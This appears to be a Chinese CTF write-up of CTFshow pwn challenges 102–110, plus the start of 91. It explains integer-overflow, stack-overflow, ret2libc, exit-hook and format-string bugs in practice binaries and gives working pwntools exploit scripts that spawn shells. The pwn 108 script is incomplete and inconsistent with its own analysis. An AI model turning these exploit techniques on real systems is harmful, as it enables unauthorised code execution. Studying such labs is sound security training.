可以看到，在保护全开的时候，其实一般程序逻辑都非常简单，这里在IDA中甚至直接告诉我们让v4 =

-1 就会进入gift函数（选中-1按快捷键 ‘H’）：→v4 == 0xFFFFFFFF→v4 == 4294967295

这里v4是一个无符号整数，并将其存储在变量v4中，这里可以发现在无符号整数上下文中，-1 对应的二进制表示为 0xFFFFFFFF，也就是 4294967295

$ ./pwn
...
Enter an unsigned integer: -1
This is the second question of this type
Here is you want:
flag{just_test_my_process}

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
io.sendline(b'4294967295') # -1
io.interactive()

pwn 103

Hint：看着好像还是不难

检查保护:

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

还是64位保护全开

IDA查看main函数，跟进ctfshow函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  puts("Maybe these help you:");
  useful();
  ctfshow();
  return 0;
}

unsigned __int64 ctfshow()
{
  int n; // [rsp+4h] [rbp-6Ch] BYREF
  void *src; // [rsp+8h] [rbp-68h]
  _BYTE dest[88]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v4; // [rsp+68h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  n = 0;
  src = 0;
  printf("Enter the length of data (up to 80): ");
  __isoc99_scanf("%d", &n);
  if ( n <= 80 )
  {
    printf("Enter the data: ");
    __isoc99_scanf(" %[^\n]", dest);
    memcpy(dest, src, n); 
    if ( (unsigned __int64)dest > 0x1BF52 )
      gift();
  }
  else
  {
    puts("Invalid input! No cookie for you!");
  }
  return __readfsqword(0x28u) ^ v4;
}

int gift()
{
  puts("This is the third question of this type");
  puts("Here is you want:");
  return system("cat /ctfshow_flag");
}

逻辑还是很简单，满足其条件进入gift函数即可

关键逻辑分析:

(1)memcpy(dest, src, n)的陷阱:

src被初始化为NULL（空指针），因此memcpy实际是从NULL 指针地址复制n字节到dest。这是一个危险操作：

当n > 0时：从 NULL 指针（内存地址 0 附近）读取数据会触发段错误（Segment Fault），程序直接崩溃，无法执行到后续的判断逻辑。
当n = 0时：memcpy不执行任何操作（复制 0 字节），dest中保留用户输入的数据，程序可正常执行到判断逻辑。

(2)触发gift()的条件：(unsigned __int64)dest > 0x1BF52

这里的关键是理解dest的含义：
dest是数组名，在表达式中会被转换为指向数组首元素的指针（即dest的内存地址）。因此条件实际是判断：dest数组的首地址是否大于0x1BF52（十进制 126802）。

但在现代系统中，栈内存地址通常远大于0x1BF52（例如 x86_64 系统栈地址常在0x7fffffffxxxx范围），因此只要程序不崩溃，该条件默认成立。

因此：

输入数据长度n = 0
输入任意数据（长度无要求，因为n=0时dest保留输入内容，不影响地址判断）。

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
io.sendline(b'0')
io.sendline(b'a')
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 90
[*] Switching to interactive mode
Enter the length of data (up to 80): Enter the data: This is the third question of this type
Here is you want:
flag{just_test_my_process}

pwn 104

Hint:有什么是可控的？

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位程序关闭Canary与PIE，部分开启RELRO

IDA查看main函数，跟进ctfshow函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  ctfshow();
  return 0;
}

ssize_t ctfshow()
{
  _BYTE buf[10]; // [rsp+2h] [rbp-Eh] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  LODWORD(nbytes) = 0;
  puts("How long are you?");
  __isoc99_scanf("%d", &nbytes);
  puts("Who are you?");
  return read(0, buf, (unsigned int)nbytes);
}

buf的大小固定为 10 字节，但nbytes由用户控制，且没有任何限制
当用户输入的nbytes > 10时，read函数会向buf写入超过其容量的数据，导致栈缓冲区溢出。

看到程序中还有后门函数：

int that()
{
  return system("/bin/sh");
}

简单来说我们只需要先利用&nbytes控制溢出长度，然后再使用buf实现溢出控制程序到后门函数即可。

$ ROPgadget --binary ./pwn | grep "ret"
0x000000000040055e : ret

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
that = 0x40078d
ret = 0x40055e
io.sendlineafter(b'How long are you?',b'255')
payload=b'a'*(0xe+8)+p64(ret)+p64(that)
io.sendlineafter(b'Who are you?',payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 168
[*] Switching to interactive mode

$ ls
ctfshow_flag

pwn 105

Hint：看着好像没啥问题

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位关闭Canary 与PIE

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[1024]; // [esp+0h] [ebp-408h] BYREF
  int *p_argc; // [esp+400h] [ebp-8h]

  p_argc = &argc;
  init();
  logo();
  puts("[+] Check your permissions:");
  read(0, buf, 0x400u);
  ctfshow(buf);
  puts("wtf");
  return 0;
}

看这没啥漏洞，读入0x400，buf大小明显是大于0x400的，跟进ctfshow:

char *__cdecl ctfshow(char *s)
{
  char dest[8]; // [esp+7h] [ebp-11h] BYREF
  unsigned __int8 n3; // [esp+Fh] [ebp-9h]

  n3 = strlen(s);
  if ( n3 <= 3u || n3 > 8u )
  {
    puts("Authentication failed!");
    exit(-1);
  }
  printf("Authentication successful, Hello %s", s);
  return strcpy(dest, s);
}

可以读入0x400进入buf，要满足条件3__int8意味着只能存8位的数字转换成十进制就是0~255,这256个字节超出部分就截断了，但是read却可以读0x400进去所以可以利用整形溢出来bypass这个if条件

unsigned __int8 的本质:
unsigned __int8 是 8 位无符号整数，它的取值范围是 0~255（因为 2⁸-1=255）。
当给它赋值超过 255 的数时，会发生 截断 —— 只保留二进制的最后 8 位（低 8 位），相当于 值 % 256。

例如：
256 的二进制是 100000000（9 位），截断后保留低 8 位 00000000 → 对应十进制 0
257 的二进制是 100000001，截断后保留低 8 位 00000001 → 对应十进制 1
258 → 低 8 位 00000010 → 十进制 2
...
256 + n → 低 8 位是 n 的二进制 → 对应十进制 n（当 n < 256 时）

这里只需要满足它的条件（长度260[0x104]）即可进行溢出了

dest 的大小是 0x11，加上 ebp 的 0x4，所以需要在前面填充 0x15h

继续查看发现程序中还是存在后门函数：

int success()
{
  return system("/bin/sh");
}

那么这里就是一个短整数溢出加上一个栈溢出的简单利用了

from pwn import *
context.log_level ="debug"
io = process("./pwn")
elf = ELF("./pwn")
shell = elf.sym['success']
payload = b'a'*(0x11+4) + p32(shell)
payload = payload.ljust(0x104,b'a')
payload += b'\x00'  #strlen(s)会继续读取buf之外的内存（直到遇到随机的\0）
io.sendafter(b'permissions:',payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 226
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode

Authentication successful, Hello aaaaaaaaaaaaaaaaaaaaa\x0e\x87\x04\x08aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ls
ctfshow_flag

pwn 106

Hint：还是非常简单

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位关闭Canary与PIE

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]
  int p_n2; // [esp+0h] [ebp-Ch] BYREF
  int *p_argc; // [esp+4h] [ebp-8h]

  p_argc = &argc;
  init();
  logo();
  puts("1.login");
  puts("2.quit");
  printf("Your choice:");
  __isoc99_scanf("%d", &p_n2, v4, v5);
  if ( p_n2 == 1 )
  {
    login(p_argc);
  }
  else
  {
    if ( p_n2 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

给出一个小菜单，登录或者退出，看逻辑我们需要先登录，也就是输入1，进入if语句，跟进login函数：

int __cdecl login()
{
  _BYTE s[40]; // [esp+8h] [ebp-230h] BYREF
  char buf[516]; // [esp+30h] [ebp-208h] BYREF

  memset(s, 0, sizeof(s));
  memset(buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, s, 0x19u);
  printf("Hello %s\n", s);
  puts("Please input your passwd:");
  read(0, buf, 0x199u);
  return check_passwd(buf);
}

然后让输入username 跟 passwd，这里看着也啥问题，跟进check_passwd():

char *__cdecl check_passwd(char *s)
{
  char dest[11]; // [esp+4h] [ebp-14h] BYREF
  unsigned __int8 n3; // [esp+Fh] [ebp-9h]

  n3 = strlen(s);
  if ( n3 > 3u && n3 <= 8u )
  {
    puts("Success");
    fflush(stdout);
    return strcpy(dest, s);
  }
  else
  {
    puts("Invalid Password");
    return (char *)fflush(stdout);
  }
}

跟上一题一样的，逻辑稍微变了一点，但是整体来说换汤不换药。

查看存在后门函数：

int fffflag()
{
  return system("cat /ctfshow_flag");
}

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
cat_flag = elf.sym['fffflag']
io.sendlineafter(b'Your choice:',b'1')
io.sendlineafter(b'username:',b'rhea')
payload = cyclic(0x14+4)+p32(cat_flag)
payload = payload.ljust(0x104,b'a')
payload += b'\x00'
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 286
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode

Hello rhea

Please input your passwd:
Success
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn 107

Hint:类型转换

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位关闭Canary跟PIE

IDA查看main函数，直接跟进show函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return show();
}

int show()
{
  char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  int n4; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  getch(nptr, 4);
  n4 = atoi(nptr); //将字符串形式的数字转换为整数（int 类型）
  if ( n4 > 32 )
    return printf("No! That size (%d) is too large!\n", n4);
  printf("Ok, sounds good. Give me %u bytes of data!\n", n4);
  getch(nptr, n4);
  return printf("You said: %s\n", nptr);
}

继续跟进getch:

char *__cdecl getch(char *p_nptr, unsigned int n4)
{
  unsigned int n4_2; // eax
  char *result; // eax
  char char; // [esp+Bh] [ebp-Dh]
  unsigned int n4_1; // [esp+Ch] [ebp-Ch]

  for ( n4_1 = 0; ; ++n4_1 )
  {
    char = getchar();
    if ( !char || char == 10 || n4_1 >= n4 )
      break; // 1. 读取到空字符（'\0'）；2. 读取到换行符（'\n'，ASCII码10）；3. 已读取的字符数达到最大限制n4
      
    // 将读取到的字符存入缓冲区：n4_2是n4_1的临时副本，等价于 p_nptr[n4_1] = char
    n4_2 = n4_1;
    p_nptr[n4_2] = char;
  }
  result = &p_nptr[n4_1];
  p_nptr[n4_1] = 0;
  return result;
}
//getch函数的核心功能是：安全读取指定长度的用户输入到缓冲区，并自动添加字符串结束符。

漏洞：有符号整数与无符号整数的转换问题

n4 在 show 函数中是 int 类型（有符号），但 getch 函数的第二个参数是 unsigned int 类型（无符号）。
当用户输入一个能让atoi返回负数的字符串（例如输入-1）时：
- n4 会被解析为 -1（有符号整数）。
- 检查 n4 > 32 时，-1 > 32 为假，绕过限制检查。
- 调用 getch(nptr, n4) 时，n4（-1）会被转换为 unsigned int 类型，在 32 位系统中结果为 0xFFFFFFFF（约 42 亿），即允许读取远超 32 字节的内容。

利用思路：

一开始输入负数，绕过长度限制，造成溢出
利用printf函数泄露程序的libc版本，去算出system和‘/bin/sh‘的地址
溢出覆盖返回地址去执行system（‘/bin/sh’）

首先在getch中读入长度被强制转换为unsigned int，此时-1变成了4294967295。使得我们能够进行缓冲区溢出攻击,后面的就是常规的ret2libc了这里就不再赘述了。

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
main = elf.symbols['main'] #main函数地址（用于二次溢出时跳转回main）
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

io.sendlineafter(b'read? ',b'-1')
io.recvuntil(b'bytes of data!\n')
payload = cyclic(0x2c+4) + p32(printf_plt) + p32(main) + p32(printf_got)
#填充垃圾数据+覆盖返回地址为printf的PLT地址（调用printf）+printf执行完后跳回main函数（便于第二次溢出）+printf的参数：printf_got（即输出GOT表中存储的printf实际地址）
io.sendline(payload)
io.recvuntil(b'\n') #You said: %s\n
printf = u32(io.recv(4))
print(hex(printf))

libc_base = printf - libc.sym['printf']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))

# 再次与程序交互（因第一次溢出后跳回了main，程序重新执行）
io.sendlineafter(b'read? ',b'-1')
io.recvuntil(b'bytes of data!\n')
payload = cyclic(0x2c+4) + p32(system) + p32(main) + p32(bin_sh)
#同样填充垃圾数据覆盖缓冲区和ebp+覆盖返回地址为system函数地址+system执行完后跳回main（可选，不影响shell获取）+system的参数：/bin/sh字符串地址

io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 342
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0xf711adb0
[*] Switching to interactive mode
You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa04\x11\xf7\xb8\x85\x04\x08\xe8}(\xf7
$ ls
ctfshow_flag

pwn 108（不懂）

Hint：学累了吧，来玩个游戏

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

64位保护全开

IDA查看main函数：

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int n2; // [rsp+8h] [rbp-28h]
  int n2_1; // [rsp+Ch] [rbp-24h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  _BYTE v7[3]; // [rsp+25h] [rbp-Bh] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_9BA(a1, a2, a3);
  sub_A55();
  puts("Free shooting games! Three bullets available!");
  printf("I placed the target near: %p\n", &puts); // 泄露puts函数地址
  puts("shoot!shoot!");
  v6 = sub_B78();  //输入要打的地址，由于里面有atol函数转化为数字，所以不能用p64,要有str()
  for ( n2 = 0; n2 <= 2; ++n2 )
  {
    puts("biang!");
    read(0, &v7[n2], 1u); // 每次读1字节，共3字节到v7数组
    getchar();  // 吸收输入后的换行符（避免干扰下一次输入）
  }
  if ( (unsigned int)sub_BC2(v7) ) // 检查v7（用户输入）是否满足条件
  {
    for ( n2_1 = 0; n2_1 <= 2; ++n2_1 )
      *(_BYTE *)(n2_1 + v6) = v7[n2_1]; // 将v7的3字节写入v6指向的地址
  }
  if ( !dlopen(0, 1) )  //测试程序是否能够正常使用动态链接功能
    exit(1);
  puts("bye~");
  return 0;
}

跟进sub_B78()：

__int64 sub_B78()
{
  char nptr[24]; // [rsp+0h] [rbp-20h] BYREF // 存储输入的字符串
  unsigned __int64 v2; // [rsp+18h] [rbp-8h] 

  v2 = __readfsqword(0x28u); // 栈保护 canary
  sub_AE3(nptr, 16); // 读取最多16字节输入到nptr
  return atol(nptr);  // 将十进制字符串转换为长整数（64位），作为v6的值
}

我们可以控制v6的值，以及v7[n2_1]，并且程序打印了puts函数的真实地址，相当于拿到了libc基址。也就是任意地址任意写。

跟进sub_BC2：

__int64 __fastcall sub_BC2(_BYTE *a1)
{
  if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 34 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 )
    return 1;
  puts("You always want a Gold Finger!");
  return 0;
}

不允许数组的前两个元素同时为 0xc5 和 0xf2 ，或者 0x22 和 0xf3 ，或者 0x8c 和 0xa3

简单来说就是限制了gadget：

$ one_gadget ./libc-database/db/libc6_2.27-3ubuntu1_amd64.so
0x4f2be execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

有两种方法，要么使用现有 one_gadget 中已有可用选项

0x4f2be 的前两字节 0xbe 0xf2 完全符合 sub_BC2 的校验规则（不触发任何禁忌），因此无需调整地址，可直接使用。

其约束条件为：

rsp+0x50 可写
rsp & 0xf == 0（栈对齐）
rcx == NULL 或 {rcx, "-c", r12, NULL} 是有效 argv

还有一种方法是将one_gadget地址减5，以此来绕过检查

利用exit hook劫持 exit函数的调用流程exit函数--->*run_exit_handlers**函数**--->dl_fini**函数**--->*

*_dl_rtld_lock_recursive**指 针（这是个结构体指针变量） 而*dl_rtld_lock_recursive这个指针又指向了

**rtld_lock_default_lock_recursive** **最后又执行了** rtld_lock_default_lock_recursive 因此我们就把这个_dl_rtld_lock_recursive指针当做跳板，去将它指向的内容 （__rtld_lock_default_lock_recursive）也就是修改为one_gadget。

先简单了解一下，后续在堆中会更加详细讲解相关内容。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1_amd64.so')

io.recvuntil(b'0x')
puts_addr = int(io.recv(12),16)
libc_base = puts_addr - libc.sym['puts']
strlen = libc_base + 0x3eb0a8

sss = str(strlen).encode()
io.sendline(sss)
one_gadget = libc_base + 0xe54fe

for _ in range(3):
io.sendlineafter(b"biang!\n", chr(one_gadget & 0xff))
one_gadget = one_gadget >> 8
io.interactive()

pwn 109

Hint：多种姿势

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments

32位关闭Canary与NX有可读可写可执⾏的段，第⼀反应还是还是shellcode打

IDA查看程序逻辑，依据函数功能修改函数名后如下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int p_n2; // [esp+0h] [ebp-40Ch] BYREF
  char buf[1024]; // [esp+4h] [ebp-408h] BYREF
  int *p_argc; // [esp+404h] [ebp-8h]

  p_argc = &argc;
  init();
  logo();
  while ( 1 )
  {
    while ( 1 )
    {
      puts("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!");
      __isoc99_scanf("%d", &p_n2);
      getchar();
      if ( p_n2 != 2 )
        break;
      printf_w(buf);
    }
    if ( p_n2 == 3 )
      break;
    if ( p_n2 == 1 )
      leak_buf(buf, 0x400u);
    else
      printf("What do you mean by %d", p_n2);
  }
  puts("See you~");
  return 0;
}

发现有⼀个格式化字符串漏洞，还会将栈地址泄漏出来：

int __cdecl printf_w(char *format)
{
  return printf(format);
}

ssize_t __cdecl leak_buf(void *buf, size_t nbytes)
{
  printf("%x\n", buf);
  return read(0, buf, nbytes);
}

那么我们只需要在栈上部署好shellcode，再利⽤格式化字符串漏洞更改main函数地址返回到shellcode即可。

$ gdb pwn

pwndbg> r
What you want to do?
1) Input someing!
2) Hang out!!
3) Quit!!!
1
ffb201a0
^C

► 0 0xebd83579 __kernel_vsyscall+9 #系统调用层
   1 0xebc4c9d7 read+55 #正在执行read函数，读取输入到buf
   2 0x58d268db None #这应该是你重命名的`leak_buf`函数，因为它调用了read
   3 0x58d2698e None #这应该是`main`函数，因为`leak_buf`被main调用
   ...
──────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> frame 3 #切换到main函数的栈帧
#3  0x58d2698e in ?? ()
pwndbg> info frame
Stack level 3, frame at 0xffb205c0:
 eip = 0x58d2698e; saved eip = 0xebb5acb9
 called by frame at 0xffb20620, caller of frame at 0xffb20180
 Arglist at 0xffb205a8, args:
 Locals at 0xffb205a8, Previous frame's sp is 0xffb205c0
 Saved registers:
  ebx at 0xffb205a4, ebp at 0xffb205a8, eip at 0xffb205bc
  
pwndbg> x/x $ebp + 4 #$ebp是上一步得到的main栈帧基地址（标准理论返回地址位置）
0xffb205ac:0xebb5acb9
pwndbg> x/x $ebp + 0x14 #实际生效的返回地址位置
0xffb205bc:0xebb5acb9

偏移量 = 返回地址（ret_addr） - buf 地址（ffb201a0）

0xffb205bc - 0xffb201a0 = 0x41c

中间的0x10字节（0xffb205ac到0xffb205bc）很可能存储了 4 个被保存的寄存器（如ebx、esi、edi、edx），而函数在返回前通过调整栈指针（esp），使得ret指令最终读取的是$ebp + 0x14处的复制值，而非原始的$ebp + 4处的值。

from pwn import *
context.log_level = 'debug'
io = process('./pwn')

io.sendlineafter(b'Quit!!!\n',b'1') # 选择选项1，进入leak_buf函数
stack = int(io.recvuntil(b'\n'),16) # 接收buf的地址（leak_buf会用%x输出）
ret = stack + 0x41c # 计算main函数返回地址在栈上的位置

payload = fmtstr_payload(16,{ret:stack}) # 生成格式化字符串
io.sendline(payload)
io.sendlineafter(b'Quit!!!\n',b'2') # 选择选项2，触发printf_w漏洞,直接用printf(format)输出buf的内容

io.sendlineafter(b'Quit!!!\n',b'1')  # 再次选择选项1，进入leak_buf
io.sendline(asm(shellcraft.sh())) # 往buf中写入shellcode

io.sendlineafter(b'Quit!!!\n',b'3') # 选择选项3，退出main函数
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 265
[*] Switching to interactive mode
See you~
$ ls
 ctfshow_flag

pwn 110

Hint：溢出溢出溢出

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

32位⼏乎保护全关

IDA查看main函数：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("1+1= ?");
  input();
  while ( 1 )
    puts(str);                                  // "WTF?"
}

跟进input函数：

unsigned __int16 *input()
{
  __int16 n1024; // [esp+Ah] [ebp-41Eh] BYREF
  _BYTE buf[1025]; // [esp+Dh] [ebp-41Bh] BYREF
  unsigned __int16 n1024_1; // [esp+40Eh] [ebp-1Ah] BYREF

  strcpy(buf, "???"); // 将字符串"???"复制到buf（占前3字节，自动补'\0'终止符）
  *(_DWORD *)&buf[4] = 0; // 将buf[4]~buf[7]共4字节设为0（清空）
  *(_DWORD *)&buf[1021] = 0;
  memset(&buf[7], 0, 4 * (((&buf[4] - &buf[7] + 1021) & 0xFFFFFFFC) >> 2));
   //&buf[4] - &buf[7]是-3，加 1021 得 1018，对齐后为 1016 字节，因此从buf[7]开始填充 1016 个0。
  __isoc99_scanf("%hd", &n1024);  // 读取有符号短整数（int16_t）到n1024[范围 - 32768~32767]
  if ( n1024 > 1024 )
  {
    puts("You are soooooooooo ******");
    exit(0);
  }
  n1024_1 = n1024; // 转换为无符号短整数（uint16_t）
  printf("%x %u\n", buf, (unsigned __int16)n1024);
  //%x打印buf的地址（十六进制），这是栈上buf的起始地址，后续可直接跳转到这里执行 shellcode。
  //%u打印n1024的无符号值（确认输入长度是否生效）。
  read(0, buf, n1024_1);
  qmemcpy(str, buf, 0x400u);                    // "WTF?"
  unk_804B460 = buf[1024];
  return &n1024_1;
}

核心漏洞总结:

整数溢出：通过输入-1（作为int16_t），转换为uint16_t后变成65535，绕过n1024 <= 1024的限制，允许读取远超buf大小的数据。
栈溢出：read函数按65535字节写入buf（仅 1025 字节大小），会覆盖栈上的返回地址。
地址泄露：printf直接打印buf的栈地址，为跳转执行 shellcode 提供了import目标地址。

有符号整数与无符号整数的二进制表示方式不同，且转换时二进制位本身不会改变，只会改变解读方式。

具体原理：
int16_t（16 位有符号整数）如何表示 - 1？
计算机中，有符号整数用「二进制补码」表示：
正数的补码 = 原码（直接表示）
负数的补码 = 绝对值的原码「取反加 1」
对于 - 1（int16_t）：
绝对值 1 的 16 位原码是：0000 0000 0000 0001
取反后：1111 1111 1111 1110
加 1 后：1111 1111 1111 1111（二进制补码）
所以，-1 在 int16_t 中存储的二进制是 1111111111111111（十六进制为0xFFFF）。

转换为 uint16_t（16 位无符号整数）时发生了什么？
uint16_t 没有符号位，所有 16 位都用于表示数值，范围是0 ~ 65535（2^16 - 1）。
当 int16_t 的 - 1 转换为 uint16_t 时，二进制位不变（仍然是1111111111111111），但解读方式变了：
无符号情况下，1111111111111111 表示的数值是 2^15 + 2^14 + ... + 2^0 = 65535。

总结：
-1（int16_t）和65535（uint16_t）的二进制存储完全相同（都是0xFFFF），只是因为「符号解读方式」不同，导致数值看起来发生了变化。
这就是整数溢出漏洞的核心：利用有符号与无符号的转换规则，绕过程序对输入长度的限制（原本限制≤1024，变成了允许 65535 字节输入）。

from pwn import *
context.log_level='debug'
io = process("./pwn")
io.recv()
io.sendline(b'-1')
buf = int(io.recv(8),16)
io.recv()
payload = asm(shellcraft.sh()).ljust(0x41b+0x4,b'A') + p32(buf)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 58
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn91-100

2025-08-07T04:00:00.000Z

格式化字符串

pwn91

Hint：开始格式化字符串了，先来个简单的吧

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位关闭PIE，部分开启RELRO

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  ctfshow();
  if ( daniu == 6 )
  {
    puts("daniu praise you for a good job!");
    system("/bin/sh");
  }
  return 0;
}

可以看到当daniu = 6 的时候即可获的一个shell

跟进ctfshow函数：

unsigned int ctfshow()
{
  char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
  unsigned int v2; // [esp+5Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  memset(s, 0, sizeof(s));
  read(0, s, 0x50u);
  printf(s);
  printf("daniu now is :%d!\n", daniu);
  return __readgsdword(0x14u) ^ v2;
}

可以看到这里的ptintf(s)明显的存在格式化字符串漏洞，第一次接触，不知道为啥这里就存在漏洞？别急后面会逐步讲解。

首先将数组s初始化为0，清除数组中的内容，然后读取0x50的数据到字符数组s中。

printf(s); 使用用户输入的内容作为格式字符串，进行 printf 输出。这里存在格式字符串漏洞

我们可以先简单尝试一下，先正常输入字符，看起来没有问题：

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Very Ez !
    * *************************************
rhea
rhea
daniu now is :0!

但是当我们输入特殊的格式字符时候会输出特定的内容：

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Very Ez !
    * *************************************
%p
0xffcd2f0c
daniu now is :0!

后续知识在下面会讲解，接着回到这题，我们看一下daniu：

.bss:0804B038                 public daniu
.bss:0804B038 daniu           dd ?                    ; DATA XREF:

daniu的地址为：0x804B038

可以看到daniu在bss段，测一下格式化字符串的偏移：

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Very Ez !
    * *************************************
AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
AAAA-fff9d7ec-50-804870a-46-e97b5d40-fff9d828-41414141-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78
daniu now is :0!

A的 ASCII 码是 0x41,所以偏移为7

进行验证一下：

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Very Ez !
    * *************************************
aaaa%7$p
